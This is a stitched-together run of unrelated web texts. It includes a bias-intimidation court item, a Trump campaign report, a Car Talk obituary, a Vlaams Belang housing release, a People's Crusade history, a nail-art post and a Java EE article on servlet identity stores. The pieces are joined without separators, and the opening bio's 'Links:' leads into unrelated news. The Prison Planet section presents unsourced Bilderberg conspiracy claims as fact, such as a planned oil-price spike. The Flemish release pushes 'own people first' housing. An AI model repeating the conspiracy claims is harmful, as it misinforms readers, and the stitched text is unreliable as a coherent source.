[Eyal Weizman is an architect, writer and Director of Goldsmith’s College Centre for Research Architecture. His work deals with issues of conflict territories and human rights. A full version of this article was recently delivered at the conference ‘Beyond Bio-politics’ at City University, New York, and in the architecture program of the Sao Paulo Biennial. A transcript can be read in the March/April, 2006 issue of Radical Philosophy.]
Links:
Jonathan T. Hussey is expected to appear in Hudson County Superior Court for a pre-indictment hearing before Judge Paul DePascale on charges of bias intimidation, criminal trespass and criminal mischief.
Police say Hussey spray-painted the name of Republican presidential nominee Donald Trump and crude phrases such as "F- -- Muslims" and "F- -- Arabs" at the closed St. Henry School at 27th Street and Avenue C.
The local Muslim community has rented out the school's basement for years, using it as a meeting place and prayer site.
Hussey was set to make his first appearance at Central Judicial Processing in Jersey City last Monday but was absent. Hussey's absence suggested he already posted his bail, which was set at $15,000 with a 10 percent cash option. On Friday, the Hudson County jail had no record of Hussey as an inmate.
The CJP prosecutor allowed the matter to move forward without asking for a warrant for Hussey's arrest.
The Hudson County Prosecutor's Office couldn't immediately say on Friday if Hussey has made an appearance in court since Monday, or if his first appearance will be on Nov. 14. The HCPO also couldn't immediately confirm details about his bail status.
The Nov. 14 hearing is called an "early disposition conference" and involves a defendant and his lawyer meeting with a prosecutor to see if the case can be resolved through a plea deal.
The conference is part of new statewide reforms that speed up the process of prosecutions.
Republican U.S. presidential nominee Donald Trump speaks at Youngstown State University in Youngstown, Ohio August 15, 2016. REUTERS/Eric Thayer
The announcement came as Trump, a New York businessman seeking his first elected office, looks to improve his standing among voters, particularly those in swing states such as Iowa, where some recent opinion polls show Trump and Democratic nominee Hillary Clinton in a tight race.
Republican Governors Terry Branstad of Iowa, Sam Brownback of Kansas, Jack Dalrymple of North Dakota, Dennis Daugaard of South Dakota, Mary Fallin of Oklahoma and Pete Ricketts of Nebraska were included on a list of advisors distributed by Trump’s campaign.
Branstad spokesman Ben Hammes said in an interview that the governor will focus on increasing government support for renewable energy as part of the committee.
Also on the list were John Block, U.S. agriculture secretary under Republican President Ronald Reagan from 1981 to 1986, and former Governors Rick Perry of Texas and Jim Gilmore of Virginia, who both unsuccessfully ran against Trump for the Republican nomination.
“The members of my agricultural advisory committee represent the best that America can offer to help serve agricultural communities,” Trump said in a statement.
Members of an executive board will “convene on a regular basis,” he said.
Committee members have already talked via telephone to outline some of the issues they expect to tackle, committee member A.G. Kawamura said in an interview.
They range from immigration and climate change to global trade and “how to define food and energy security for the U.S. in the years ahead,” said Kawamura, a former California agriculture secretary.
Battles between the agriculture sector and its critics have grown fierce in recent years - from fights over water access in California and declining grain prices, to mounting pressure from consumer groups over how food is produced and labeled.
Both presidential campaigns have largely ignored the sector, though, Kawamura said, adding that lack of discussion was one of the reasons he joined Trump’s committee.
In June, representatives of about a dozen agricultural associations, including the American Farm Bureau Federation and the National Farmers Union, met with staffers for Democratic candidate Hillary Clinton for the first time to begin a discussion on farm policy.
The cause of death was complications from Alzheimer's, said NPR
"Car Talk" has long been one of NPR's most popular shows
The brothers stopped making original broadcasts in 2012; archives have continued
Tom Magliozzi, half of the "Click and Clack" team of brothers who hosted NPR's "Car Talk" radio show, died Monday. He was 77.
NPR reported the death Monday afternoon. The cause was complications from Alzheimer's disease, the radio network said.
In a statement, his brother Ray remembered a jovial partner.
"We can be happy he lived the life he wanted to live; goofing off a lot, talking to you guys every week, and primarily, laughing his ass off," he said.
JUST WATCHED NPR's Tom Magliozzi dies at 77 Replay More Videos ... MUST WATCH NPR's Tom Magliozzi dies at 77 01:00
For more than 25 years, "Car Talk" has been one of NPR's most popular shows, a laid-back free-for-all that's only occasionally about cars. The brothers stopped doing original broadcasts two years ago, but archival material has kept their laughter on the air.
A typical show featured Tom Magliozzi and Ray, 12 years his junior, taking questions from listeners about whether it was appropriate to buy a BMW roadster for a teenager, how to get the smell of a dead mouse out of an air-conditioning vent and whether relationships were worth pursuing with a partner who owned an old rattletrap.
Tom Magliozzi had an old rattletrap himself, a 1963 Dodge Dart that was a constant source of fun for both brothers.
In fact, most things were sources of fun for the brothers, whose uproarious laughter frequently punctuated the show.
"His laugh is the working definition of infectious laughter," Doug Berman, the longtime producer of "Car Talk," told NPR. "Before I ever met him, I heard him, and it wasn't on the air."
"Car Talk" debuted in 1977 on Boston radio station WBUR. NPR picked it up in 1987. The show was drawing about 4 million listeners at the time the brothers stopped making original broadcasts in 2012. The network said in a statement that it continues to be a top-rated show.
The two retired from the show in October of that year.
Tom and Ray Magliozzi (aka Click and Clack, the Tappet Brothers) of NPR's "Car Talk."
"We've decided that it's time to stop and smell the cappuccino," Ray wrote on the show's website.
The two brothers didn't just talk cars. They also owned a Cambridge, Massachusetts ("our fair city," as they've long called their home), garage.
Behind the laughter and advice were two smart men. Both Tom and Ray graduated from MIT.
But after years as an engineer, Tom decided he'd had enough.
"I quit my job," he said. "I became a bum. I spent two years sitting in Harvard Square drinking coffee. I invented the concept of the do-it-yourself auto repair shop, and I met my lovely wife."
The program inspired two TV shows -- one of them, "The George Wendt Show," ran for one season on CBS -- and at least two books. There's also a website, cartalk.com , which features a daily car question and other information about automobiles and the brothers.
The data in these graphs is based on three complete seasons (2013, 2014, and 2015). The percentages show the money lost for a given type of fine or reason for suspension out of all money lost back to the respective league. For example, 30% of money lost by NBA players is due to technical fouls.
Data source:
http://www.spotrac.com/nba/fines-suspensions/
1 op 4 sociale woningen in Vlaanderen in 2015 toegewezen aan vreemdelingen
105.370 kandidaten wachten op sociale woning waarvan 28 % vreemdelingen
Vlaams Belang wil sociale huisvesting voor eigen volk eerst
Uit cijfers verkregen op basis van parlementaire vragen gesteld in het Vlaams Parlement door Vlaams parlementslid Anke Van dermeersch aan Vlaams minister voor Wonen, Liesbeth Homans, blijkt dat in 2015 1 op 4 (25 %) van de sociale woningen in Vlaanderen wordt toegewezen aan vreemdelingen. Op in totaal 8970 toegewezen sociale woningen werden er in 2015 1594 aan niet EU-vreemdelingen (17,8 %) 484 aan EU-vreemdelingen (5 %) en 6211 aan Belgen (69 %) toegewezen. Van 681 toewijzingen was de nationaliteit onbekend. In de provincie Antwerpen werd op een totaal van 2848 woningen er 803 (28%) aan niet EU-vreemdelingen, 207 (7%) aan EU-vreemdelingen en 4766 (62%) aan Belgen toegewezen. Van 72 toewijzingen was de nationaliteit onbekend. In de provincie Limburg werden op een totaal van 1118 sociale woningen 109 (10%) aan niet EU-vreemdelingen, 64 (6%) aan EU-vreemdelingen en 698 (62%) aan Belgen toegewezen. Van 247 toewijzingen was de nationaliteit onbekend. In West-Vlaanderen werd op een totaal van 1676 sociale woningen 187 (11%) aan niet EU-vreemdelingen, 60 (3,5%) aan EU-vreemdelingen en 1402 (83,6%) aan Belgen toegewezen. Van 27 toewijzingen was de nationaliteit onbekend. In Oost-Vlaanderen werd op een totaal van 2319 sociale woningen 366 (23%) aan niet EU-vreemdelingen, 122 (5%) aan EU-vreemdelingen en 1587 (68%) aan Belgen toegewezen. Van 244 toewijzingen was de nationaliteit onbekend. In Vlaams Brabant werd op een totaal van 1009 sociale woningen 129 (13%) aan niet-EU-vreemdelingen, 31 (3%) aan EU-vreemdelingen en 758 (76%) aan Belgen toegewezen. Van 91 toewijzingen was de nationaliteit onbekend.
105370 kandidaat-huurders wachten op sociale woning
Momenteel staan in Vlaanderen 105.370 kandidaat-huurders op een wachtlijst voor het bekomen van een sociale woning.Het betreft 21324 (20%) niet EU-vreemdelingen, 7992 (7,6%) EU-vreemdelingen en 65563 (73,4%) Belgen.
In de provincie Antwerpen betreft het 37276 kandidaat-huurders waarvan 9013 niet EU-vreemdelingen (24%), 2710 EU-vreemdelingen (7%) en 11650 (31%) Belgen. In de provincie Oost-Vlaanderen betreft het 25.558 kandidaat-huurders waarvan 1662 (6,5%) niet EU-vreemdelingen, 4178 (16,3%) EU-vreemdelingen en 16198 (63%) Belgen. Van 3520 kandidaat-huurders is de nationaliteit onbekend. In de provincie West-Vlaanderen betreft het 18.450 kandidaat-huurders waarvan 3017 (16%) niet EU-vreemdelingen, 760 (4%) EU-vreemdelingen en 14058 (76%) Belgen. Van 615 kandidaat-huurders is de nationaliteit onbekend. In de provincie Limburg betreft het 13595 kandidaat-huurders waarvan 1445 (10,6%) niet EU-vreemdelingen, 1091 (8%) EU-vreemdelingen en 7305 (54%) Belgen. Van 3745 kandidaat-huurders is de nationaliteit onbekend. In de provincie Vlaams Brabant betreft het 12970 kandidaat-huurders waarvan 2458 (19%) niet EU-vreemdelingen, 832 (6,5%) EU-vreemdelingen en 8395 (64,7%) zijn Belgen. Van 1285 kandidaat-huurders is de nationaliteit onbekend.
1 op 2 sociale woningen in Antwerpen toegewezen aan vreemdelingen
Vooral in de stad Antwerpen swingt het aantal toewijzingen aan vreemdelingen de pan uit. Maar liefst 40% toewijzingen van niet EU-vreemdelingen en 8% aan EU-vreemdelingen spannen in de Antwerpse sociale woningbouwmaatschappijen (De Ideale Woning, Woonhaven Antwerpen en ABC) de kroon. Op 1481 toegewezen woningen in Antwerpen in 2015 werden er 583 aan niet EU-vreemdelingen en 117 aan EU-vreemdelingen toegewezen. In de stad Antwerpen staan momenteel 28164 personen op een wachtlijst (De Ideale Woning (11521), ABC (578), Woonhaven (13677). 14660 van de wachtenden (52 %) zijn vreemdelingen (11363 niet EU-vreemdelingen en 3297 EU-vreemdelingen) en 12270 (43 %) zijn Belgen. Van 1234 kandidaat-huurders is de nationaliteit niet bekend.
Sociale huisvesting voor eigen volk eerst!
Anke Van dermeersch: “Voor wat de toewijzing van sociale woningen betreft moet voorrang gegeven worden aan eigen volk.”
The French departed from the main army and marched westward along the Gulf of Nicomedia until they came to Civetot, a fortified camp placed strategically on fertile land near the Gulf of Nicomedia. They were supposed to wait there for the rest of the army and for supplies from Constantinople, but they were impatient. They marched into Turkish territory, pillaging and killing Greek Christians in the worst ways imaginable. “They dismembered some of the babies; others they put on spits and roasted over a fire; those of advanced years, they subjected to every form of torture,” Anna Comnena wrote about forty years after she encountered the crusaders.
The French grew wealthy off their booty, which aroused great jealously amongst the Germans and Italians. Sometime at the end of September, Rainald led a force of about six thousand men–including some priests and bishops–deeper into the heart of Turkish held territory. These men had well perfected the art of plunder and pillage, but they failed to read their enemy; the Turks.
Rainald and his force took the castle of Xerigordon, a castle that was well stalked with provisions and located high on a hill, directly above a small stream. From there, they planned on how they were going to raid the surrounding countryside.
News of the crusaders’ brutal exploitation reached the Seljuk Sultan, Klij Arslan, probably from a Turkish spy who witnessed their acts of pillage and murder from a safe distance. Kilij Arslan immediately sent an army to take back the castle of Xerigordon. His troops quickly surrounded the castle, blocking off water supplies and entrapping the crusaders.
“Soon the besieged grew desperate from thirst. They tried to suck moisture from the earth; they cut the veins of their horses and donkeys to drink their blood; they even drank each other’s urine,” Steven Runciman wrote.
After eight days of agonizing suffering and realizing he could not defeat this Turkish army, Rainald surrendered. Many of his men were slaughtered and those who were spared were taken into captivity, including Rainald himself. After his swift defeat, “he (Kilij Arslan) instructed two energetic men to go to Peter’s camp and announce that the forces had captured Nicaea and were dividing up the spoil from the city,” Anna Comnena wrote.
Upon hearing this news, Peter’s followers prepared at once to march on Nicaea. They were so determined to have their share in the booty that they forgot all matters of discipline and training. As they underwent preparations for the march, Peter hastened back to Constantinople and appealed to Alexius for more help. Peter also hoped that Alexius would somehow restore his control over his followers, but it was too late for that.
Walter Sans Avoir, one of the few knights who remained tightly loyal to Peter, advised the troops to wait for Peter’s arrival, but they ignored him. At the end of October 1096, the entire crusading army marched out of Civetot, leaving behind the elderly, women and children.
The Turks were a foe to be greatly admired and respected; they were fearless, valiant and lions in battle. The Turks were probably most renowned for their skill as bowmen; they used light, composite bows, designed to release arrows at amazing speeds. They shot arrows from foot, but also while riding on top their horses. Their armor, unlike that of the Europeans, was made of a lighter material, yet protective, giving them the ability to move swiftly. That’s likely one reason why the Turks were able to fire their arrows while charging the enemy on horseback.
The Turks also used hills and woodlands to their advantage; they hid and waited ever so silently until the enemy was within their midst and then…
The road between Civetot and Nicaea ran through a narrow, thickly wooded valley. On Kilij Arslan’s instructions, the Turkish army hid in those woods and waited.
The crusaders, thinking that the Turkish army had been roundly defeated at Nicaea, marched on, not suspecting anything until, out of nowhere, a hail of arrows whished through the air and fell upon them, wounding and killing knights and horses. The Turks emerged from their hiding spots and descended upon the crusaders. The knights fought hard and bravely, but a great many of them were slaughtered. Those who did survive fled back to Civetot, but they were hotly pursued by the Turks. When the non combatants saw their knights racing into camp, their eyes ablaze with terror, they attempted escape, but were massacred mercilessly. Young children–only those who the Turks considered as physically appealing–were taken as slaves. The few people who managed to escape the wrath of the Turks, fled back to Constantinople by way of sea and told Peter and the emperor of the horrid news.
No evidence had been recorded of Peter’s reaction to the demise of his followers, his Crusade. However, one thing was for sure: the massacre at Civetot marked a tragic end to the People’s Crusade.
Did Peter’s followers deserve to meet such a cruel fate? Given all the trouble they caused on their journey to Constantinople; all the food, money and pack animals they stole from benevolent townspeople; all of the innocent people–men, women and children–they ruthlessly murdered, yes, Peter’s followers deserved what came to them. Moreover, the atrocities they committed caused several Europeans to question the validity of the decree, “God wills it,” that was made by their Pope in Clermont. Yet, crusading enthusiasm throughout Western Europe was so strong that nothing quenched it.
Sources Used:
Carey, Brian T., Joshua B. Allfree and John Cairns. Road to Manzikert: Byzantine and Islamic Warfare 527-1071. Barnsley, South Yorkshire; Pen & Sword, 2012.
Runciman, Steven. A History of the Crusades: The First Crusade. Vol.1. Cambridge; Cambridge University Press, 1951.
Various contributors. Chronicles of the Crusades: Eye-Witness Accounts of The Wars Between Christianity and Islam. Bramley Books; Portugal, 1997.
Image: Wikimedia Commons
Paul Joseph Watson
Prison Planet.com
Friday, April 22, 2011 – UPDATED 2:17PM CST
Despite the fact that the United States is embroiled in three major conflicts and can barely service its own gigantic debt, with Standard and Poor this week indicating the US will soon lose its triple-A credit rating, top globalist and former Secretary of State Henry Kissinger recently told fellow elitists at three different globalist confabs that the US needs to launch a ground invasion of Libya and keep the war running for at least another year.
According to veteran Bilderberg journalist Jim Tucker, whose sources have proven routinely accurate in leaking discussion topics shared by globalists at their regular meetings, Kissinger gave almost the exact same speech at three different conferences over the past two weeks, firstly during an April 8-10 get-together at the George Washington University’s Elliot School of International Affairs, then at an Aspen Institute session on “Values and Diplomacy” at the National Cathedral, and finally during the Bretton Woods II conference in New Hampshire.
“Kissinger, visibly depressed, gave a rationale for the war on Libya that the TC (Trilateral Commission) and its brother group, Bilderberg, want to keep rolling, according to an inside source who has proved reliable for years. Both groups want the war extended through 2012 to generate turmoil throughout the Middle East and pressure the United States into attacking Iran on behalf of Israel. Which would also produce huge war profits,” writes Tucker.
With President Obama keen to oversee more “mission creep” in Libya, by sending unmanned drones to intensify the air bombardment, Kissinger made it clear that the ultimate intention was to do what Obama specifically promised would never happen, a US ground invasion.
Entering the 10th year of the occupation of Afghanistan, and with US forces still tied down in Iraq, by April 4 American taxpayers had already shelled out an estimated $608 million dollars to pay for the intervention in Libya. The expenditure shows no signs of abating as the Obama administration signals its intent to deepen U.S. involvement even as ratings agency Standard & Poor announced Monday that the U.S. risks losing its AAA credit rating because of the government’s inability to reduce the budget deficit.
Kissinger’s call for a ground invasion is symptomatic of the way globalists use America’s military muscle to pursue madcap geopolitical objectives while the country itself withers and dies. State governments across the country are now saying they cannot afford to pay police and firefighters as local communities are shut down, so how on earth can the Obama administration justify spending what will eventually amount to billions of dollars to intervene in a civil war in North Africa?
A d v e r t i s e m e n t
(ARTICLE CONTINUES BELOW)
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“In all three speeches, Kissinger played the reluctant damsel who was firmly convinced that the United States must put boots on the ground in Libya—among all the wars that the U.S. is already involved in,” reports Tucker.
In addition, Kissinger was keen to voice his displeasure at the fact that certain media publications, which the globalists normally rely on to keep such information under wraps, had leaked the news that Al-Qaeda terrorists were playing a key role in helping the Libyan rebels and NATO fight Gaddafi. This information “being forced into the national press makes it more difficult” to sell the invasion of Libya, Kissinger said, according to Tucker’s source.
The endgame of the war in Libya is to further isolate Iran in preparation for a US-led attack carried out in the name of protecting Israel. Kissinger was keen to make the connection between Libya and Iran in his speeches, claiming that Gaddafi’s conduct “may tempt the Iranian regime to speed its development of a nuclear weapon. Rogue states have to remain convinced of our determination to resist nuclear proliferation.”
In addition to developments in Libya, Jim Tucker appeared on The Alex Jones Show today to divulge the fact that Kissinger and his fellow elitists were determined to run the price of gas up at $7 dollars a gallon by the end of 2012 via a combination of soaring oil prices and a crumbling US dollar. To ensure Americans have their living standards lowered as part of Bilderberg’s planned “post-industrial revolution,” the middle east needs to be kept in a permanent state of flux, causing energy costs to remain unstable.
Expanding the conflict in Libya will undoubtedly be a central focus of the upcoming Bilderberg meeting which is set to take place in the resort city of St. Moritz, southeastern Switzerland, from June 9-12. Although the exact location of the conference has yet to be pinned down, it’s widely expected that the luxurious 5-star Grand Hotel Kempinski will be the site of what promises to be one of the most important Bilderberg meetings in recent years.
Indeed, when attempting to book a room for the period in question via the hotel website, a message pops up saying the hotel is closed, all but confirming it as the location for Bilderberg 2011. However, Bilderberg have been known to change their plans at the last minute in a bait and switch to throw journalists off the scent.
Tucker, who has been hunting Bilderberg for no less than 36 years, has released his Bilderberg itinerary for the 2011 meeting.
It is important to stress that Tucker’s Bilderberg sources have proven accurate in the past, particularly before the 2008 spike in oil prices, an event that was crafted by Bilderberg at their 2005, 2006 and 2007 conferences.
On the Alex Jones Show today, veteran reporter and Bilderberg sleuth Jim Tucker revealed details of the globalist plan to send ground troops into Libya. Watch the clips below.
Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show.
This article was posted: Friday, April 22, 2011 at 6:21 am
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Everytime I see a beach mani, a mermaid mani, or one of those cool octopus mani’s, I like it. Which is weird, because I don’t really like blue nails – and most of them are blue based. It absolutely must be my love for water… Anyway, when the challenge prompt nautical was on the docket for today, I was kinda tickled. Of course it was really hard to choose what to do – I just bought the Sunkissed set from Bundle Monster a while back and I have a ton of blue/blue green polishes I haven’t used yet. Figuring out a good nautical combination took a while.
You see, Born Pretty Store just sent me a packet of nifty nail art supplies to try out. One of the items was this packet of gold metallic circle nail sparkles and I thought they’d be the perfect accent for the look I conjured up.
There are fifty little circle sparkles in each packet. They are very delicate – almost as if they were made from a piece of foil. The bend very easily – which is good, because they conform to the shape of your nails and don’t poke up on the sides to get snagged and ripped off. (I have some nail polish with stars on it that this happens with. The stars never last more than a few hours.) By using an eyeliner pencil, I was able to pick up and place them very easily onto my nail.
The dots are also gold on one side and coppery colored on the other – I assume the coppery color goes down on the nail, but I don’t see why they couldn’t be reversible. I’ll probably try it out in another manicure because I think that color is very pretty too.
The rest of this look I completed by painting the blue polish on my pinky, index finger, and thumb. Gold went on my ring finger and white on my middle finger. Once the colors were down, (I did two coats each) I sealed it in with a topcoat and let it dry for a while. Then I tackled the hardest part (for me) which is the striping with nail tape. After that, the circle nail sparkles went on. (Super easy!) and then the compass stamp. I really wanted to do an anchor stamp but what I had was a pattern and it didn’t fit well on my newly shortened nails. The compass worked much better and you could actually see the details in it. After it was all complete the whole look got another dose of topcoat to make sure it was all locked it. I love it!!
For my first attempt at nautical looking nails, I think I got it. I love the color and the accent nails both. The nail sparkles help pull the whole look together and I can’t wait to show this one off.
If you are interested in getting the nail sparkles, you can find them at the link below. There are many shapes to choose from and are only fifty nine cents per pack of fifty!!! If you use my code COTTX31 during checkout you will receive an additional 10% off your order, along with free shipping no matter where you live.
Polishes Used:
Basecoat: Sinful Colors, Basecoat
Blue: ORLY, Makeup to Breakup
White: Wet n Wild, French White Creme
Gold: Fingerpaints, Golden Glaze
Topcoat: Seche Vite, Fast Dry Topcoat
Products Used:
Born Pretty, Circle Dot Nail Sparkles
Bundle Monster Sunkissed Collection, Plate BM-507
The authentication mechanism is responsible for interacting with the caller and the environment. E.g. it causes a UI to be rendered that asks for details such as a username and password, and after a postback retrieves these from the request. As such it's roughly equivalent to a controller in the MVC architecture.
Java EE has standardised 4 authentication mechanisms for a Servlet container, as well as a JASPIC API profile to provide a custom authentication mechanism for Servlet (and one for SOAP, but let's ignore that for now). Unfortunately standard custom mechanisms are only required to be supported by a full Java EE server, which means the popular web profile and standalone servlet containers are left in the dark.
Servlet vendors can adopt the standard API if they want and the Servlet spec even encourages this, but in practice few do so developers can't depend on this. (Spec text is typically quite black and white. *Must support* means it's there, anything else like *should*, *is encouraged*, *may*, etc simply means it's not there)
The following table enumerates the standard options:
Basic Digest (encouraged to be supported, not required) Client-cert Form Custom/JASPIC (encouraged for standalone/web profile Servlet containers, required for full profile Servlet containers)
The identity store on its turn is responsible for providing access to a storage system where caller data and credentials are stored. E.g. when being given a valid caller name and password as input it returns a (possibly different) caller name and zero or more groups associated with the caller. As such it's roughly equivalent to a model in the MVC architecture; the identity store knows nothing about its environment and does not interact with the caller. It only performs the {credentials in, caller data out} function.
Identity stores are somewhat shrouded in mystery, and not without reason. Java EE has not standardised any identity store, nor has it really standardised any API or interface for them. There is a bridge profile for JAAS LoginModules, which are arguably the closest thing to a standard interface, but JAAS LoginModules can not be used in a portable way in Java EE since essential elements of them are not standardised. Furthermore, this bridge profile can only be used for custom authentication mechanisms (using JASPIC), which is itself only guaranteed to be available for Servlet containers that reside within a full Java EE server as mentioned above.
What happens now is that every Servlet container provides a proprietary interface and lookup method for identity stores. Nearly all of them ship with a couple of default implementations for common storage systems that the developer can choose to use. The most common ones are listed below:
In-memory (properties file/xml file based)
Database (JDBC/DataSource based)
LDAP
As a direct result of not being standardised, not only do Servlet containers provide their own implementations, they also each came up with their own names. Up till now no less than 16(!) terms were discovered for essentially the same thing:
authenticator authentication provider authentication repository authentication realm authentication store identity manager identity provider identity store login module login service realm relying party security policy domain security domain service provider user registry
Following a vote in the EG for the new Java EE security JSR, it was decided to use the term "identity store" going forward. This is therefor also the term used in this article.
To give an impression of how a variety of servlet containers have each implemented the identity store concept we analysed a couple of them. For each one we list the main interface one has to implement for a custom identity store, and if possible an overview of how the container actually uses this interface in an authentication mechanism.
The servlet containers and application servers containing such containers that we've looked at are given in the following list. Each one is described in greater detail below.
Tomcat
Tomcat calls its identity store "Realm". It's represented by the interface shown below:
public interface Realm { Principal authenticate(String username); Principal authenticate(String username, String credentials); Principal authenticate(String username, String digest, String nonce, String nc, String cnonce, String qop, String realm, String md5a2); Principal authenticate(GSSContext gssContext, boolean storeCreds); Principal authenticate(X509Certificate certs[]); void backgroundProcess(); SecurityConstraint [] findSecurityConstraints(Request request, Context context); boolean hasResourcePermission(Request request, Response response, SecurityConstraint[] constraint, Context context) throws IOException; boolean hasRole(Wrapper wrapper, Principal principal, String role); boolean hasUserDataPermission(Request request, Response response, SecurityConstraint[] constraint) throws IOException; void addPropertyChangeListener(PropertyChangeListener listener); void removePropertyChangeListener(PropertyChangeListener listener); Container getContainer(); void setContainer(Container container); CredentialHandler getCredentialHandler(); void setCredentialHandler(CredentialHandler credentialHandler); }
According to the documentation, "A Realm [identity store] is a "database" of usernames and passwords that identify valid users of a web application (or set of web applications), plus an enumeration of the list of roles associated with each valid user."
Tomcat's bare identity store interface is rather big as can be seen. In practice though implementations inherit from RealmBase, which is a base class (as its name implies). Somewhat confusingly its JavaDoc says that it's a realm "that reads an XML file to configure the valid users, passwords, and roles".
The only methods that most of Tomcat's identity stores implement are authenticate(String username, String credentials) for the actual authentication, String getName() to return the identity store's name (this would perhaps have been an annotation if this was designed today), and startInternal() to do initialisation (would likely be done via an @PostConstruct annotation today).
Example of usage
The code below shows an example of how Tomcat actually uses its identity store. The following shortened fragment is taken from the implementation of the Servlet FORM authentication mechanism in Tomcat.
// Obtain reference to identity store Realm realm = context.getRealm(); if (characterEncoding != null) { request.setCharacterEncoding(characterEncoding); } String username = request.getParameter(FORM_USERNAME); String password = request.getParameter(FORM_PASSWORD); // Delegating of authentication mechanism to identity store principal = realm.authenticate(username, password); if (principal == null) { forwardToErrorPage(request, response, config); return false; } if (session == null) { session = request.getSessionInternal(false); } // Save the authenticated Principal in our session session.setNote(FORM_PRINCIPAL_NOTE, principal);
What sets Tomcat aside from most other systems is that the authenticate() call in most cases directly goes to the custom identity store implementation instead of through many levels of wrappers, bridges, delegators and what have you. This is even true when the provided base class RealmBase is used.
Jetty
Jetty calls its identity store LoginService. It's represented by the interface shown below:
public interface LoginService { String getName(); UserIdentity login(String username, Object credentials, ServletRequest request); boolean validate(UserIdentity user); IdentityService getIdentityService(); void setIdentityService(IdentityService service); void logout(UserIdentity user); }
According to its JavaDoc, a "Login service [identity store] provides an abstract mechanism for an [authentication mechanism] to check credentials and to create a UserIdentity using the set [injected] IdentityService".
There are a few things to remark here. The getName() method names the identity store. This would likely be done via an annotation had this interface been designed today.
The essential method of the Jetty identity store is login(). It's username/credentials based, where the credentials are an opaque Object. The ServletRequest is not often used, but a JAAS bridge uses it to provide a RequestParameterCallback to Jetty specific JAAS LoginModules.
validate() is essentially a kind of shortcut method for login() != null, albeit without using the credentials.
A distinguishing aspect of Jetty is that its identity stores get injected with an IdentityService, which the store has to use to create user identities (users) based on a Subject, (caller) Principal and a set of roles. It's not 100% clear what this was intended to accomplish, since the only implementation of this service just returns new DefaultUserIdentity(subject, userPrincipal, roles), where DefaultUserIdentity is mostly just a simple POJO that encapsulates those three data items.
Another remarkable method is logout(). This is remarkable since the identity store typically just returns authentication data and doesn't hold state per user. It's the authentication mechanism that knows about the environment in which this authentication data is used (e.g. knows about the HTTP request and session). Indeed, almost no identity stores make use of this. The only one that does is the special identity store that bridges to JAAS LoginModules. This one isn't stateful, but provides an operation on the passed in user identity. As it appears, the principal returned by this bridge identity store encapsulates the JAAS LoginContext, on which the logout() method is called at this point.
Example of usage
The code below shows an example of how Jetty uses its identity store. The following shortened and 'unfolded' fragment is taken from the implementation of the Servlet FORM authentication mechanism in Jetty.
if (isJSecurityCheck(uri)) { String username = request.getParameter(__J_USERNAME); String password = request.getParameter(__J_PASSWORD); // Delegating of authentication mechanism to identity store UserIdentity user = _loginService.login(username, password, request); if (user != null) { renewSession(request, (request instanceof Request? ((Request)request).getResponse() : null)); HttpSession session = request.getSession(true); session.setAttribute(__J_AUTHENTICATED, new SessionAuthentication(getAuthMethod(), user, password)); // ... base_response.sendRedirect(redirectCode, response.encodeRedirectURL(nuri)); return form_auth; } // ... }
In Jetty a call to the identity store's login() method will in most cases directly call the installed identity store, and will not go through many layers of delegation, bridges, etc. There is a convenience base class that identity store implementations can use, but this is not required.
If the base class is used, two abstract methods have to be implemented; UserIdentity loadUser(String username) and void loadUsers(), where typically only the former really does something. When this base class is indeed used, the above call to login() goes to the implementation in the base class. This first checks a cache, and if the user is not there calls the sub class via the mentioned loadUser() class.
public UserIdentity login(String username, Object credentials, ServletRequest request) { UserIdentity user = _users.get(username); if (user == null) user = loadUser(username); if (user != null) { UserPrincipal principal = (UserPrincipal) user.getUserPrincipal(); if (principal.authenticate(credentials)) return user; } return null; }
The user returned from the sub class has a feature that's a little different from most other servers; it contains a Jetty specific principal that knows how to process the opaque credentials. It delegates this however to a Credential implementation as shown below:
public boolean authenticate(Object credentials) { return credential != null && credential.check(credentials); }
The credential used here is put into the user instance and represents the -expected- credential and can be of a multitude of types e.g. Crypt, MD5 or Password. MD5 means the expected password is MD5 hashed, while just Password means the expected password is plain text. The check for the latter looks as follows:
public boolean check(Object credentials) { if (this == credentials) return true; if (credentials instanceof Password) return credentials.equals(_pw); if (credentials instanceof String) return credentials.equals(_pw); if (credentials instanceof char[]) return Arrays.equals(_pw.toCharArray(), (char[]) credentials); if (credentials instanceof Credential) return ((Credential) credentials).check(_pw); return false; }
Undertow
Undertow is one of the newest Servlet containers. It's created by Red Hat to replace Tomcat (JBossWeb) in JBoss EAP, and can already be used in WildFly 8/9/10 which are the unsupported precursors for JBoss EAP 7. Undertow can also be used standalone.
The native identity store interface of Undertow is the IdentityManager, which is shown below:
public interface IdentityManager { Account verify(Credential credential); Account verify(String id, Credential credential); Account verify(Account account); }
Peculiar enough there are no direct implementations for actual identity stores shipped with Undertow.
Example of usage
The code below shows an example of how Undertow actually uses its identity store. The following shortened fragment is taken from the implementation of the Servlet FORM authentication mechanism in Undertow.
FormData data = parser.parseBlocking(); FormData.FormValue jUsername = data.getFirst("j_username"); FormData.FormValue jPassword = data.getFirst("j_password"); if (jUsername == null || jPassword == null) { return NOT_AUTHENTICATED; } String userName = jUsername.getValue(); String password = jPassword.getValue(); AuthenticationMechanismOutcome outcome = null; PasswordCredential credential = new PasswordCredential(password.toCharArray()); // Obtain reference to identity store IdentityManager identityManager = securityContext.getIdentityManager(); // Delegating of authentication mechanism to identity store Account account = identityManager.verify(userName, credential); if (account != null) { securityContext.authenticationComplete(account, name, true); outcome = AUTHENTICATED; } else { securityContext.authenticationFailed(MESSAGES.authenticationFailed(userName), name); } if (outcome == AUTHENTICATED) { handleRedirectBack(exchange); exchange.endExchange(); } return outcome != null ? outcome : NOT_AUTHENTICATED;
JBoss EAP/WildFly
JBoss identity stores are based on the JAAS LoginModule, which is shown below:
public interface LoginModule { void initialize(Subject subject, CallbackHandler callbackHandler, Map<String,?> sharedState, Map<String,?> options); boolean login() throws LoginException; boolean commit() throws LoginException; boolean abort() throws LoginException; boolean logout() throws LoginException; }
As with most application servers, the JAAS LoginModule interface is used in a highly application server specific way.
It's a big question why this interface is used at all, since you can't just implement that interface. Instead you have to inherit from a credential specific base class. Therefor the LoginModule interface is practically an internal implementation detail here, not something the user actually uses. Despite that, it's not uncommon for users to think "plain" JAAS is being used and that JAAS login modules are universal and portable, but they are anything but.
For the username/password credential the base class to inherit from is UsernamePasswordLoginModule. As per the JavaDoc of this class, there are two methods that need to be implemented: getUsersPassword() and getRoleSets().
